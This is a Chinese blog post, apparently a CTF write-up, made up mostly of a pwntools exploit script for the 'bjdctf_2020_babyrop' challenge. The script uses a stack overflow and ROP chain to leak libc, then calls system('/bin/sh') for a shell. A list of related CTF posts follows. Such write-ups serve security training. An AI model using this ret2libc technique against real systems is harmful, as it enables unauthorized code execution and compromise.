bjdctf_2020_babyrop

「爱情、让人受尽委屈。」 2023-02-20 06:28 24阅读 0赞

![在这里插入图片描述][20200623221750619.png]  
exp

from pwn import *
    from LibcSearcher import *
    
    context(log_level='debug')
    
    proc_name = './bjdctf_2020_babyrop'
    p = process(proc_name)
    # p = remote('node3.buuoj.cn', 28227)
    elf = ELF(proc_name)
    read_got = elf.got['read']
    puts_plt = elf.plt['puts']
    main_addr = elf.sym['main']
    pop_rdi_ret = 0x400733
    payload = flat(['a' * (0x20 + 8), p64(pop_rdi_ret), p64(read_got), p64(puts_plt), p64(main_addr)])
    p.sendafter('story!', payload)
    p.recv()
    read_addr = u64(p.recv(6).ljust(0x8, b'\x00'))
    log.info(hex(read_addr))
    libc = LibcSearcher('read', read_addr)
    libc_base = read_addr - libc.dump('read')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
    payload1 = flat(['a' * (0x20 + 8), p64(pop_rdi_ret), p64(str_bin_sh), p64(system_addr)])
    p.sendafter('story!', payload1)
    p.interactive()

![在这里插入图片描述][2020062322473573.png]

[20200623221750619.png]: https://img-blog.csdnimg.cn/20200623221750619.png
[2020062322473573.png]: https://img-blog.csdnimg.cn/2020062322473573.png

发表评论取消回复

表情：

评论列表（有 0 条评论，24人围观）

还没有评论，来说两句吧...

相关阅读

相关 picoctf_2018_buffer overflow 2&&wustctf2020_getshell&&[BJDCTF 2nd]snake_dyn&&ciscn_2019_es_7[rsop]

picoctf\_2018\_buffer overflow 2 exp from pwn import context.log_level

╰+攻爆jí腚メ/ 2023年03月01日 03:16/ 0 赞/ 4 阅读

相关 bjdctf_2020_babyrop2

![在这里插入图片描述][20200705233227679.png] 注意这题开启了Canary ![在这里插入图片描述][watermark_type_ZmFuZ3p

骑猪看日落/ 2023年02月23日 08:15/ 0 赞/ 42 阅读

相关 bjdctf_2020_babystack2

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

àì夳堔傛蜴生んèń/ 2023年02月21日 12:44/ 0 赞/ 25 阅读

相关 [BJDCTF 2nd]r2t4 [格式化字符串写GOT]

![在这里插入图片描述][20200623225357375.png] ![在这里插入图片描述][20200623230530738.png] > 开启了Canary，但

谁借莪１个温暖的怀抱￠/ 2023年02月20日 06:29/ 0 赞/ 10 阅读

相关 bjdctf_2020_babyrop

![在这里插入图片描述][20200623221750619.png] exp from pwn import from LibcSearcher im

「爱情、让人受尽委屈。」/ 2023年02月20日 06:28/ 0 赞/ 25 阅读

相关 [BJDCTF 2nd]test

ssh ctf@node3.buuoj.cn -p <port> ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_sh

浅浅的花香味﹌/ 2023年02月20日 04:52/ 0 赞/ 20 阅读

相关 bjdctf_2020_babystack

![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ub

淡淡的烟草味﹌/ 2023年02月17日 11:22/ 0 赞/ 17 阅读

相关 [BJDCTF 2nd]one_gadget

![在这里插入图片描述][2020061211542959.png] ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shad

妖狐艹你老母/ 2023年02月17日 03:55/ 0 赞/ 24 阅读

相关 2020-1024

996 一个程序员问医生：“我怎样才能活到100岁？” “第一，戒酒。” “我从来不喝酒。” “第二，戒烟。” “我从来不吸烟。” “第三，戒色。”

冷不防/ 2022年12月18日 02:53/ 0 赞/ 142 阅读

相关 2020 小结

2020 小结 > 2020 年写博客非常少，一方面是毕业进入工作，进入了人们所说的国内顶尖互联网大厂，发现自身有非常多的进步空间，没那么多充足的时间专门用来写博客，而是

待我称王封你为后i/ 2022年10月25日 00:52/ 0 赞/ 190 阅读